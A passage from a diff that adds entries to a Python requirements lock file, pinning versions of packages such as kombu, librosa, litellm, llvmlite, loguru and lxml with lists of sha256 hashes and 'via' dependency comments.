--hash=sha256:800ee55980c18545af444d93fdd60c56b580db5cc54867d8cbf8a1dc0829938c \ + --hash=sha256:80aa065ffd378ff784822a6d7c3212f2d5f5e9c3589614b5c228b311fd3063ac \ + --hash=sha256:86e0287879f75621ae85197b0877ed2f8b7aa57b511c7331dce2eb6f4de7d476 \ + --hash=sha256:893ff3a711d1b515ba9da14ee090519bad4610ed1962fbe298a434e8c5f8db53 \ + --hash=sha256:89fc958c702ee9a745e4700378f5d23fddbc46ff89e8fdbf5395c24d5c1452a3 \ + --hash=sha256:8c63c91f95173f9c2a67c7c526b2cea976828a0e7fced9cdcead2802dc10f8a4 \ + --hash=sha256:8df31fe574b8b3993cc61764f40941111b25c2d9fea13d3ce24a49907cd2d615 \ + --hash=sha256:8f9baf6f0a6e7571c45c8863010b45e837c3ee1c2c77fcd6ef423be91b21fedb \ + --hash=sha256:9027d773c4ff81487181a925945743413f6069634d0b122d0b37684ccf4f1e18 \ + --hash=sha256:9190426b7aa26c5229501fa297b8d0653cfd3f5a36f7990c264e157cbf886b3b \ + --hash=sha256:940dda65d5e764406b9fb92761cbf462e4e63f712ab60ed98f70552e496f3bf1 \ + --hash=sha256:94eff26096eb5395136634622515b234ecb6c9979824c1f5004c6e3c3c85ccd2 \ + --hash=sha256:9eed0f7edbb274413b6ee781cca50541c8c0facd3d6fd289779e494340a2b85c \ + --hash=sha256:ad4ae4ffd1ee9cd11357b4c66b612da9888f4f4daf2f36995eda64bd45370cac \ + --hash=sha256:b0f172dc8ffaccb8522d7c5d899de00133f2f1ca7b0a49b7da98e901de87bf2d \ + --hash=sha256:b2af221f268f5af85e776a73d62b0845fc8baf8ef0abfae79d29c77d0e776aaf \ + --hash=sha256:b7d335370ae48a780c6e6a6bbfa97342f563744c39c35562f3f367665f5c1de2 \ + --hash=sha256:b83af57bdddef03c01a9138034c6ff03181a3028d9a1003b301eb1a55e161a3f \ + --hash=sha256:bb5136fb5352d3f422df33f0c879a1b0c204004324150cc3b5e3c4f310c9049f \ + --hash=sha256:bc4d8e252f532ab46a1de9349e2d27b91fce46736a9eedaa37beaca66f574ed4 \ + --hash=sha256:bdd3e53429ff02aa319ba59dfe4ceeec345bf46cf180ec2cf6fd5b942e7975e9 \ + --hash=sha256:be12f931839a3bdfe28b584db0e640a65a8bcbc24560ae3fdb025a449b3d754e \ + --hash=sha256:be4a51a55833dc29ab5d7503e7bcb3b3af3402d266018137127450005cdfe737 \ + --hash=sha256:beb7f344487cdcb9e1efe4b7a29681b74d34c08f0043a327a74da852a6749e7b \ + --hash=sha256:bf4679a3d71012a7c2bf360e5cd878fbd5e4fcac0896b56393dec239d81529ed \ + --hash=sha256:c0e1403fd7c26d77c1f03e096dc58a5c726503fa0db0456678b8668f76f521e3 \ + --hash=sha256:c31c13da98624f957b0fb1b5bae5383b2333c2c3f6793d9825dd5ce79b525cb7 \ + --hash=sha256:c438f6ca858697c9ab67eb28246c92508af972e114cac34e57a6d4ba17a3ac08 \ + --hash=sha256:c8277104ded0a51e699c8c3aff63ce2c56d4ed5519a5f73e0fd7057f959a2b9e \ + --hash=sha256:c95cab08d1965db3d84a121f1c7ce7479bdd4072c9b3dafd8fecce48a2e6b902 \ + --hash=sha256:cc0b66c1eec9021353a4b4483afb12dfd50e3669ffbb9152d6842eb34c7e29fd \ + --hash=sha256:cdee07c4d7f6d72008d3f73b9bf027f4e11550224c7c50d8df1ae4a37c1402a6 \ + --hash=sha256:ce9bf03dad3b46408c08649c6fbd6ca28a9fce0eb32fdfffa6775a13103b5310 \ + --hash=sha256:cff8e5383db4989311f99e814feeb90c4723eb4edca425b9d5d9c3fefcdd9537 \ + --hash=sha256:d168fda2dbff7b9b5f38e693182d792a938c31db4dac3a80a4888de603c99554 \ + --hash=sha256:d1ffeb80b5676463d7a7d56acbe8e37a20ce725570e09549fe738e02ca6b7e1e \ + --hash=sha256:d36ca54cb4c6c4686f7cbb7b817f66f5911c12ddb519450bbe86707155028f87 \ + --hash=sha256:d4193f3d9dc3f6f79aaed0e5637f45d98850ebf01f7ca20e69457f3e8946b66a \ + --hash=sha256:d5cd5189fc2b6a538b75ae45433140c4823463918f7b1617c31e68b085c0022c \ + --hash=sha256:d618fd27420381a4f6044faa71f46d8bfd911bd077c555f7138ed88729bfbe79 \ + --hash=sha256:d76e2d8c75051d58177e762164d2e9ab92886534e3a12e795f103524f221dd8e \ + --hash=sha256:daae526907e262de627d8f70058a0f64acc9e2641c164c99c8f594b34a799a16 \ + --hash=sha256:db485b3847d182b908b483b2ed133c66d88d49cacf98fd278fadafe11b4478d1 \ + --hash=sha256:dd952e03bfbb096cfe2dd35cd9e00f269969b67536cb4370994afc20ff2d0875 \ + --hash=sha256:dda366d548e89a90d88a86c692377d18d8bd64b39c1fb2b92cb31370e2896bbd \ + --hash=sha256:e315e5ec90d88e140f57696ff85b484ff68bb311e36f2c414aa4286293e6dee0 \ + --hash=sha256:e4415a8db000bf49a6dd1c478bf70062eaacff0f462b92b0ba68791a905861f9 \ + --hash=sha256:e7a116ae737f0000343218c4edf5bd45893bfeaff0993c0b215d7124c9f77646 \ + --hash=sha256:e7c4c09a490dc4d4a7f8cbee56c606a320f9dc28cf92a7157a39d1ce7676a657 \ + --hash=sha256:ebae99ed6764f2b5771c522477b311be313e8841d2e0376db2b10922daebbba4 \ + --hash=sha256:ec4c85dc4b687c7f7f15f553ff26a98bfe8c58f5f7f0ac8905f0ba4c7be60232 \ + --hash=sha256:ed3a984b31da7481b103f68776f7128a89ef26ed40f4dc41a2223cda7fb24819 \ + --hash=sha256:f18c2d9782259a6dc132fdc7a63c168cbc74b35284b6d75c673958982a378384 \ + --hash=sha256:f1f9f4121ec58628c96baa3de1a55a4e3a333c5102c8e94b64e23bf7b2083309 \ + --hash=sha256:f42c23db5d1521218a3276bb08666dcb662896a0be7347cba864eca45ff64ede \ + --hash=sha256:f443b4825c50a51ee68585522ab4a1d1257fac65896f282b4c6763337ac9f5d2 \ + --hash=sha256:f6764a4ccab3078db14a632420930f6186058750df066b8ea2a7106df91d3203 \ + --hash=sha256:f7c7553b13f69c1b29a5bde08ddc6d9d0c8bfb84f9ed01c30db25944aeb852a7 \ + --hash=sha256:fa6248cd194edff41d7ea9425ced8ca3a6f838bfb295f6f1d6e6bb694a8518df \ + --hash=sha256:fa8eb9ecdb7efb0b226acec134e0d709e87a909fa4971a54c0c4f6e88635484c \ + --hash=sha256:fc20894c3d21194d8041a28b65622d5b86db786da6e3cfe73f0c762951a61167 \ + --hash=sha256:fc4d3f1fb9ca0ae9f97b095963bc6326f1dbfd3779d6679a1e016b9baaa153d3 \ + --hash=sha256:fd40bb9cd0891c4c3cb1ddf83f8bbfa15731a248fdc8162669405451e2724b09 \ + --hash=sha256:ff710414307fefa903e0d9bdf300972f892c23477829f49504e59834f4195398 + # via matplotlib +kombu==5.6.2 \ + --hash=sha256:8060497058066c6f5aed7c26d7cd0d3b574990b09de842a8c5aaed0b92cc5a55 \ + --hash=sha256:efcfc559da324d41d61ca311b0c64965ea35b4c55cc04ee36e55386145dace93 + # via celery +lark==1.3.1 \ + --hash=sha256:b426a7a6d6d53189d318f2b6236ab5d6429eaf09259f1ca33eb716eed10d2905 \ + --hash=sha256:c629b661023a014c37da873b4ff58a817398d12635d3bbb2c5a03be7fe5d1e12 + # via rfc3987-syntax +latex2mathml==3.81.0 \ + --hash=sha256:4b959cdc3cac8686bc0e3e5aece8127dfb1b81ca1241bed8e00ef31b82bb4022 \ + --hash=sha256:d317710393fe20579aea39cfe8928fa2ad9b8780896e585326c75e89c1d1d1a4 + # via docling-core +lazy-loader==0.5 \ + --hash=sha256:717f9179a0dbed357012ddad50a5ad3d5e4d9a0b8712680d4e687f5e6e6ed9b3 \ + --hash=sha256:ab0ea149e9c554d4ffeeb21105ac60bed7f3b4fd69b1d2360a4add51b170b005 + # via librosa +librosa==0.11.0 \ + --hash=sha256:0b6415c4fd68bff4c29288abe67c6d80b587e0e1e2cfb0aad23e4559504a7fa1 \ + --hash=sha256:f5ed951ca189b375bbe2e33b2abd7e040ceeee302b9bbaeeffdfddb8d0ace908 + # via semantica (pyproject.toml) +librt==0.15.0 \ + --hash=sha256:04d5387b908676c0b8d5d2f5fb58373b4ea382d81f7a6f0fab8ea2a462bb4738 \ + --hash=sha256:077471b3182db4e17c36ae91555f36a4d2c00080b267f749bcad34a478a9a302 \ + --hash=sha256:0a15cb554761247d84a3ec0cbdf4078d70725384f0e4662c0fa3b26266eb60ad \ + --hash=sha256:0da0d94cb802f32a0524653e7201f2cef72d5f700a5407678f5290483d4fcd08 \ + --hash=sha256:0e2d0c0acf5b0ada7d045912b7cf787c21315c95b38b1fa939ef72d45d366b3d \ + --hash=sha256:0f0ee3644d951f31055ad07d77d92520e84505dd7a432cc4cd501dd70ee06785 \ + --hash=sha256:1172c6ad2a88b646e7fe3b480e3fac4ab4418b3443fd8a4061fdd531e0622fc7 \ + --hash=sha256:1256589e0b0adb31751d685a68bce29d73407ddf4ef05d4188f49d5dcf9566d9 \ + --hash=sha256:1a1a8cd430c7dd0c083f455cb1b328d7fc682b05c31b940906f7845bdff80881 \ + --hash=sha256:1cd3b721f24c206398b9e26da3c3a9c011e6e89d06f318ba8ebefc30f1003890 \ + --hash=sha256:1e47b8ba865d7ede071a91a7163073bbaeb72541f1ef8a07d512c45c7b5007f2 \ + --hash=sha256:1f4ef2e71db33df4309167ed7f1520c4fae5e611226e159fa9cf33f93e6ddb3d \ + --hash=sha256:2067ff438048cead9d223ca5675bae2a25e520a7c3e6c1498bf9c6892d22caab \ + --hash=sha256:22d6263b9d39d7bbb286fa791945646e3218f1be2d693e36fb630f1d0e59cd13 \ + --hash=sha256:234d8d394721fa0d786af15ebf1f3fb7f3ed82fd1cd0cde45c2f247b5d4281d2 \ + --hash=sha256:256237037a3ab001ae8d9803b2d43562a4c3aa38739843694349e4d5ebb0fd56 \ + --hash=sha256:291bf73caf78b9e88d6fae9bfd693207ff7d832e2fdbe2cf8e746bc13f5f892b \ + --hash=sha256:29c4cab9df457b19672c39be7f384ebb2bc925c4e2684b8780c222b43eb36389 \ + --hash=sha256:2cfd1a81a648806e6a7717be4cc4d1bb392fa229752bf8444ba365e381e984d6 \ + --hash=sha256:2fde98cf1fc4bac144ce23c2c4c017b924ba714509ea9334977b0b27050c837d \ + --hash=sha256:32896a0af72508ea979e0acb4e4c04cbeeae04938167950d535c83c45597167d \ + --hash=sha256:355e3a4c725225a14262004fc1872a552b9d3634b4f791a0dfc80804aafbfd55 \ + --hash=sha256:3722a099730704c9a3d70c879fc0f51daec25fe5f1555672d97bc595abeafb95 \ + --hash=sha256:38c0c7d4b6fc06c3324b3f9162c8391bfc4fd9dde53afe1033ce7edb48d5a714 \ + --hash=sha256:39ffd14646190c454f0d86e0d256b33f00a87a26ab410e619773b841d0e41416 \ + --hash=sha256:3de789c82752730f94782a5ee518baf9c05edf85733aeaf73bb6e518755cdf54 \ + --hash=sha256:3e79f05e4a08b4d880342673312bbc895b56df7765605796f15902eb5367d3ae \ + --hash=sha256:3ff5893a2c23d886aa9ce786de5ac6ddc74aeeaf90743682b74d920e117d2e28 \ + --hash=sha256:411ca4d1b905b860ceba7570dd6717a71dedaddcc4b0f77ece710aa41ee11f8d \ + --hash=sha256:4388184646efe2054911c5b00a1077d6d1ee86a95b7e8ba96dc7850a809f3f40 \ + --hash=sha256:4a6369168d371207339b1e50d4532b06a7121586141f82599505a3f315751d47 \ + --hash=sha256:4bbcc257e3babea20a91715c361b24554ec4e8f51aa578568afc230799fe1a19 \ + --hash=sha256:4e66cbe84437497d951b799d3e1551291b6fb3d643820a7014b3655d57a59162 \ + --hash=sha256:4e6ee93fc3cf848dcbf0cce2eca73d8e7dcd0cc2b6df3a529d57750b30a4c55c \ + --hash=sha256:4eafbaff06b9563f8b1c850621ce51605de05208e09d4d71ce490bc972b7b9e8 \ + --hash=sha256:52e8db01f603f5da0ca30987479acff98769382efc8e142fa3962395dcf3ffdb \ + --hash=sha256:5500eeae393a184d14e1f35645962c27129d20c81afa4069e6ef826ebc2b3aaa \ + --hash=sha256:55456ea87d8df21808446d03817be2f65e20391c1c615d9187440dff28cd08dc \ + --hash=sha256:5563302a8359bc2295bb7084d1a8ed1519df96afb30eb2aa4e0bff7b54228988 \ + --hash=sha256:567b1c430f8bd560e689421468278ac5941bab4a05303b5d95b6ae10db03f451 \ + --hash=sha256:57f5eeb6ad4c180de583b1038e61fe5fbd9796bb69a8a1c1a0c7ddbec4c8c60f \ + --hash=sha256:59fe030d8ae4a57e3fb7756bf35a858de74e04066fc8555c53d0af979132af81 \ + --hash=sha256:5a6526a2a956bbb1e4ae3568c82e650fc99119c66bb011ea60715744955a2b4d \ + --hash=sha256:5a86a5a08c2235316bdb359d5dbb6ce0abfca7fac06363103e2c5af571d92f95 \ + --hash=sha256:5d2a91724463bfed4f573cd7a9fdc856d2e230d0c0e5a61416a93481dccd8605 \ + --hash=sha256:64b0c8c35aa4c4ed79896359f3e0b285cbe4e610042106500da4811c322cc108 \ + --hash=sha256:68242379c9b65a582b6e97318a1e9fbd6d445e58954f2d437991c4804ab11578 \ + --hash=sha256:6912fa5e635d74529ac7cdb1bdf6ca3af4453da8d1edbe0110ee1cb4ad407ebf \ + --hash=sha256:6c013cd3a1721e69e14380ada97eaa4b7b0cdf1c6b96fa765d4ea47c875088db \ + --hash=sha256:6c0eb900c0e91f4aebe680845242e614f1864edfd44106380d0752ac29522bf8 \ + --hash=sha256:6c6624fe268625869485553dd7cc1daf30d22558215bb2a4ff16f67a9801a31a \ + --hash=sha256:6d15a29033c57490cfe2069097c6fc4049e4e65ffbb749be7dc453b7c4c68965 \ + --hash=sha256:6d28a05796b99f749bf8794f17ba9ba1612d0076b802e9cfc62c554634e9ce3b \ + --hash=sha256:6d5225ef8801e4ea5e482fa9b5dfb891dd9ef6f6d870f1f25d449ca2c70ac218 \ + --hash=sha256:6da110e5f314c19ab8478464d02ae18808ae73d522c15260fa4918acdcd64da9 \ + --hash=sha256:6ecfc32dfb46fb7b565bcd6abf9412acf978775a998273d22888a6d7953730dd \ + --hash=sha256:713bd7df21170b982e729e46870f31d6b437bd1a9b4648cffb529bd3c2ec5c4b \ + --hash=sha256:71599e011ac880e8e45d46047d714871894c7d4ab6f25626f8d4f89da21f368d \ + --hash=sha256:7220697efaa6e5348fc3d18ee7f8563d4bfecd9872b37ffb915bfc1d08840622 \ + --hash=sha256:73b30cfa976659b3917c8f6153bdb0591c6a9ec6583599fd24a689b690622022 \ + --hash=sha256:779a6e7c894737e5983e7790a9c78c4000c30e23c9aada08081bdbea53b0fa60 \ + --hash=sha256:80811e1c42386ea95c6fb30571d3250ad43d7863f883f787f70517f441150e59 \ + --hash=sha256:814ff83a25b5fce8b9c80c4dd803153fb5c5599fc74db9e022466938368957ef \ + --hash=sha256:81a398f45b45a59200e13cd5ad1ae1d3f44334de98b148331afe2cdfee701c52 \ + --hash=sha256:823b92cf3c18ecd08afc70c42473888b41b6e8ef5046f3b82c05c154a2fa3d22 \ + --hash=sha256:82909c8f7eb9952656b65d3147afde4cf8e6d5a991eebc86418b5e65843b0ab8 \ + --hash=sha256:83380ffde38062a2e9bb55d83e74474f6614665528b98a6928720fc006dfffbb \ + --hash=sha256:8443e38dcfcfdbcf5add5118c623efd788d65ac2e25756d6251a54a06a4d0aca \ + --hash=sha256:84d244b00604d17df3fc7736c327892d6bba66181254aa4087be807b6c342bdc \ + --hash=sha256:856f743ae607f2c1380eccb566c0038a9fb3eabf0fc2be2704d76d9f73557239 \ + --hash=sha256:85ea21ec6730194d67156b0e0b5430ccb1d61f8b8b907e39b37f9812b74a13f0 \ + --hash=sha256:86a21a7bd3fe3a419512ef424cc1c020f6771d0b29cfddff36d1635a855e63f0 \ + --hash=sha256:88c2a17815c266e6d8180204ff62cb739ab869ada4a746d4c505331526ac58f1 \ + --hash=sha256:89cc46cfd15022e35084355478c9ac809d90b1152222706ac9a7655ec21df6fa \ + --hash=sha256:8ae493ed5f659a7761c43d42f183db514536073ded9bcf671d2d1df47e29a07e \ + --hash=sha256:8b2fdd7ead3c995c37940a790690660d0ca006c302db26cc51933f6766866fc3 \ + --hash=sha256:8b62076030baa2d8b1501a46bf0e19c27a489aa90671c55665bff7887f7660b0 \ + --hash=sha256:8e11699ed745931c395acd3621b07062e0f840efa6935aad87a64ed0995f0915 \ + --hash=sha256:92bfed8deec93df30286b9fe9e3b1dd17329cc076a192b4ee5ec223841d54953 \ + --hash=sha256:96bb17dbe8bab3c0954fbebfc69ed395599de75b6bbc35e3270a878e15d4dd65 \ + --hash=sha256:97335f59082f9fe2ce6c2a9cc6433a0114bbb6cd4d5c09dd76c95c68b9f9a8b0 \ + --hash=sha256:a417149c0cba4d50b61e992e5a15e69eaf96746609b461cc4ed168aeef6b79dd \ + --hash=sha256:a5207ec414d1c4a2a7231b2086970dc036f94293cdf338190984958a013a42f1 \ + --hash=sha256:a54cf9e0ef47b96af580849db5471142200568ce1e02cbf416addab551369570 \ + --hash=sha256:a56a1d4f859a82ca5b99fc4b82c9b027b15e3c455c5cd99e7d0719f27bb20b6c \ + --hash=sha256:a5fa8f1f916988d0bf1afea005bda37f56ac41a18016e813ccf0097a8d460ca4 \ + --hash=sha256:a6cd22c9da0d866558e46a041f1cc0c2bbb26b61b137b2347fa834c332e1d101 \ + --hash=sha256:aa1f1995789dca3698bc550aaceb09a51bd5df0a057ff84ff15296cd1975b801 \ + --hash=sha256:b0411b4066db926b80258c60dcb0e6db4c9cee312eab45b7e8866b17ddf9ada1 \ + --hash=sha256:b230acc1c3bfe2d6f2627ba2b95dc92e58aa494600e9722d0e6ccbc931e59702 \ + --hash=sha256:b30e600e8f337b9bd7f39b86d9fdfedc73cc46e3d0f745931a23a234220bb7e2 \ + --hash=sha256:b845b8d48088fad0cadc84be4b8fda63203be7e9237b71015b3925443c1f35ab \ + --hash=sha256:b87d67e33afaf265262f2a66db578284b88ee2e6fcd224579cb5c15518677ad8 \ + --hash=sha256:bac89069bc496ebdf4f79ebb57bbd10d0b214c8454225deb672d91002bd17e18 \ + --hash=sha256:bc25fb356d0c7810bb49ff3df908ad1fda6995d660ab099ded69244ed7ab6053 \ + --hash=sha256:bccbd8e5b0bffb7106cf18eb1baa3d7194b1cebb3b4b1cdbd4bdb19382a6ee6c \ + --hash=sha256:c16d15ee371643ab48dc8248a3e680ebbeca573a13af2c3dd0c985b142d77162 \ + --hash=sha256:c434e072557ade9cbc642d052c89d031efe47d5c9614523619d0d74a02378e81 \ + --hash=sha256:c47318cd3a61401452de11282242937e3e057c4fd3dbaf601e269d0928a06c0a \ + --hash=sha256:c70bc1b602cf59917e8f0c7a2cbc8bcc6fbc14d5486136b00707a79619121d63 \ + --hash=sha256:c7eec6a42018bc1d45763b1c162d3d2bf7c3b9a1b0ed30d3e91dcba390efefcc \ + --hash=sha256:c802434092b769b1d613ed2e13fac15fbfce1934a74bd10283b03c0fae231cd1 \ + --hash=sha256:cc30523e3f1a23fb7511cc659834a0d01a1042bb9de359bc1c131cc4ec6c9656 \ + --hash=sha256:d00d20d1818e82a07a0ee0aa89a98b17ed7916b92441090b683719cb20a59b6d \ + --hash=sha256:d2813ba2503764f0450680c533d13df7cff9b49df1411062eded5f67db4195b9 \ + --hash=sha256:d2c05c729b589e734c09578bf5964be48a911765484840d017bbc84f49d4c4ad \ + --hash=sha256:d4c7bacb70930f3d0a56f4ecf1be474a1f0d941b01dd73b756f3c256d42cb879 \ + --hash=sha256:d5f51401d102c885b9ca509e62c79b1dbff286e1b9b047fde6f763780789356d \ + --hash=sha256:d8363d7accb0286ac3a0e633f396e93800dafb8150494505daf9515bbda591f3 \ + --hash=sha256:d8bc24219b24c0af375718942ab75e3544b2763085f40f965be4326734ae8328 \ + --hash=sha256:d8edcf6f550e918dca779c069b9e156385c60b406f99fc7641f32c52f7193659 \ + --hash=sha256:da7a94d6a3411f579d72aa3e3bc5fbca7ed4549f3dbd7e5de3aa567333374285 \ + --hash=sha256:db13ca398005abcbe538deda87b686d9bd08b7001cf40c4c06b444960ae10a26 \ + --hash=sha256:dbab647e88d90b3167b91efe7091e248653688ed4337e4f90907a722c7361bb9 \ + --hash=sha256:dbd605739f228912dc49027cb764456b9757750bdc2b6b7773164db7096c6fd1 \ + --hash=sha256:e0b5deec9a8664eb722c797241970fd4aa1894d25fda36a1ddac0f7407606bd6 \ + --hash=sha256:e0d00c708fb2f5822b152429b1ac80a58dbbbc3f6c232c4d13a3f7fcf2ea5b4c \ + --hash=sha256:e1a49adf16a7c9d9646816c2946135527197b6fcf4347c7b8b761cf1bfbf4489 \ + --hash=sha256:e3b461183c5fa7681b48560f91515f53a953122fb30c71e07abc67d7ddf58c38 \ + --hash=sha256:e4c911f15a1652ca94ae9f1abd92e74cbb1b3597d2d92fdd556202f94e8cd455 \ + --hash=sha256:e56b6a368529bed262da40ce13f8fef590db0479819cca84f16a1f01ac356d0b \ + --hash=sha256:e87bc679f86a99aa3b26e3c78eeb821a247c9a28eae48eaafcc32c3bf4c3bb9e \ + --hash=sha256:e8c9a650a188e38bac005048cbe6342e81407782944d01934540ab75e417df21 \ + --hash=sha256:eab9208b00ca55bf75983ec99f7bf13acc746a36102e98953addaad7f7ea1e1b \ + --hash=sha256:ec3ba415afaf951f6951b1dd16d3c8e4f540065fc382d7e70b823a79567ca374 \ + --hash=sha256:ec4b19788f835711a2072f9dbe6b03b3bf32ed1f0fb30cf399bdd59d9f0c33fa \ + --hash=sha256:f395a4a9a03ac062dbe9a9f82e0c720502e590a38feee6a757bc82e9c63afbd8 \ + --hash=sha256:f42b74a53e5f26a0ba0007411a7455b66c67ce4022a39cc1f56fc4efd65bcbab \ + --hash=sha256:f54598964d357b1c5ab77cf5d92f21e598fe0e23cdbe9618480807f81b4eba15 \ + --hash=sha256:f56b397858a23dacf35ede366ed2212fdc03a6a57a1ad36468ad6e9dc5fac091 \ + --hash=sha256:f5de7feedc56337a088eb15cd9fafa9938367362221d8cc62c642b7f94821993 \ + --hash=sha256:f75720477ee05d509a310e856cacc8d909adc182f7b91193c207bcc26d7ee6db \ + --hash=sha256:f779070399f991400fc451719e0ea388eb7de313388bada2c127a35de05f798a \ + --hash=sha256:f9ca190fe9edc0eb08eec558a509a16d28d91c35667b8f043cba40ed5e77a959 \ + --hash=sha256:fa60887537e1d0cd2d9982269d33a709bf54b195cd2b9364fc0a758022af5bd9 \ + --hash=sha256:fc1ed11c4ad0b91af24def2050f2840ea4567828e3dd058fbe608d982f6e5465 \ + --hash=sha256:febb1ce6cac545a54e6b769982824e955a700fdd9fbf3a08a3d82c990968b57d + # via mypy +litellm==1.96.2 \ + --hash=sha256:0168e49cffecb0b45a0d044ecb7e5f7f6fc9e14d974b50f54edfa9d8e0db9c1d \ + --hash=sha256:0aa667c6fc58b20ff04fe5efaac5cf48b1e224bac32dbf22ced2e5ee695bc4ba \ + --hash=sha256:1a42d68b903f6b605bd7744e9700b16a725f897c5edcc448e491cec14cd5a9db \ + --hash=sha256:1f304b8854e385946469d2dcf8ef88e24357120671caeaddea11b085b0302308 \ + --hash=sha256:76e9c72cb6757bb7c35cd23e3e4fc028910795910ae92491076bd50f7b61f205 \ + --hash=sha256:80d477ae092b05ce023b5084542cb3cb75999b52b1dd2e4d834fb348effc9399 \ + --hash=sha256:8c21a57a0f3507176492a4f65361a4302af1a0723c97e96961c7ed0e96934832 \ + --hash=sha256:e5d96d16b37a043e482a134a71b0c1df4e700603fc14df22e4bd27dc9e38f5c4 + # via semantica (pyproject.toml) +llvmlite==0.49.0 \ + --hash=sha256:00f16db782f4a13c78c5804aedc434e46794a77e89999a168f9401106270e50a \ + --hash=sha256:039fa4054a06f537fb39248d4472284ca96be311a142ec09e69f95630ab469cc \ + --hash=sha256:20496a5c9fdb8179fb9300e7d19f6782555d98aeeb4a322264aa7fd99f980618 \ + --hash=sha256:294e2f0b70aef8f92d0ae7b203e2609f08beb39437eee73de59a21669331aae9 \ + --hash=sha256:3a9c9e3af4e214acfefa4f73ebe7bc3fb35854a62b654edb3953f5ae33c08ba3 \ + --hash=sha256:4281a0171d66d2098adce4ba706b8c550b1b10718650f682d64cde16e84e4de5 \ + --hash=sha256:4b0e710880b7cc910392bd6b9f1bbf468fed99b182e4420d51598f36114b3dce \ + --hash=sha256:4ec8ad805e7515cb8440a690eb3cef4d34acb29eef80b705ec4e1c1ad3c43c68 \ + --hash=sha256:6a5b06c1b5fc4ae4c9b169b065f42b719448ef1f873687ef224ef69969b75ec3 \ + --hash=sha256:6acba646d88abbc87d5c113a3d62c1fbf8b8fee11c6493f516803e30f21ae870 \ + --hash=sha256:80a84683d04516bb51da1bbeebddaf2c2f558809c93078a8f91807909ae331f8 \ + --hash=sha256:854941c2267fd4fc5b2ce02b8af8ecdffa79fb7784591d3a89370322039ea09f \ + --hash=sha256:95d1071023ed858b79f6971954fd7cc1f5dbcbab987718a4ccbe1411e47d0b81 \ + --hash=sha256:a1b414dc6b164738ec39dd8987cea73829057b7dd92fc6d91b52838385fc1dd2 \ + --hash=sha256:a8c0fc9d624bdc30a3d2db11eb2fb98f80fb209d20b37604eda516cd9b699cf4 \ + --hash=sha256:b095f15fb12c4d90495df5b1a3772b4732cc408398b204a787dbedd370e09c69 \ + --hash=sha256:b352c14353330c879e339b8f8d7491d565fe94242697714a24e80bd757202384 \ + --hash=sha256:b541c8fac3450db7574d1f53cf9dff83f285bfed9d69bf81fe71fc2a7d4f97fe \ + --hash=sha256:be637e465010bc9c50f070468f7f1cf5385e92fee364d192dd5e6cea790ecba9 \ + --hash=sha256:d3dee64784201b64c13a8df62c48a4f4218858faaa65889866bb29bdc243c038 \ + --hash=sha256:d5555ea1d63928481cbf7fcb1d67452b216c7e5b393a4eb7aa1401e67f2a4fc4 \ + --hash=sha256:da7b64474ac15ca595efa2644d5c6836638ccf70709fad3aba3fc56a55966928 \ + --hash=sha256:ddc7aecd4f56397ed6e8f120ec5dcd5a1a8f0e6032ca4af413462792d4dca2e3 \ + --hash=sha256:e32adb84fdaae28aeb86fdb6253084ee707ee157289a2e98fe3caf48a62bee82 \ + --hash=sha256:ee81e96c15a6f870918f1eb60c913551c16aa23defb4f5f1acfa660d6a0aaac2 \ + --hash=sha256:f3f2ff0aeb17d34fcce9f79b99baac441cfd3efa41b83e233ca4530a72381f72 + # via + # bertopic + # numba + # pynndescent +loguru==0.7.3 \ + --hash=sha256:19480589e77d47b8d85b2c827ad95d49bf31b0dcde16593892eb51dd18706eb6 \ + --hash=sha256:31a33c10c8e1e10422bfd431aeb5d351c7cf7fa671e3c4df004162264b28220c + # via + # semantica (pyproject.toml) + # fastembed +lxml==6.1.1 \ + --hash=sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2 \ + --hash=sha256:07a4a68e286ee7a1ed7dfb8af83e615757c0ccfe9f18c6b4ea6771388d9ba8c9 \ + --hash=sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60 \ + --hash=sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c \ + --hash=sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7 \ + --hash=sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a \ + --hash=sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83 \ + --hash=sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072 \ + --hash=sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8 \ + --hash=sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462 \ + --hash=sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0 \ + --hash=sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085 \ + --hash=sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f \ + --hash=sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30 \ + --hash=sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1 \ + --hash=sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77 \ + --hash=sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740 \ + --hash=sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b \ + --hash=sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c \ + --hash=sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621 \ + --hash=sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e \ + --hash=sha256:32ab449a5486f6c758e849bb86710d0e45edc24a04e250c01555f8f5653958f8 \ + --hash=sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca \ + --hash=sha256:34c2d737beabfe35baada43941ed519251e9a12e779031496bcd5d539fcfd730 \ + --hash=sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245 \ + --hash=sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1 \ + --hash=sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004 \ + --hash=sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d \ + 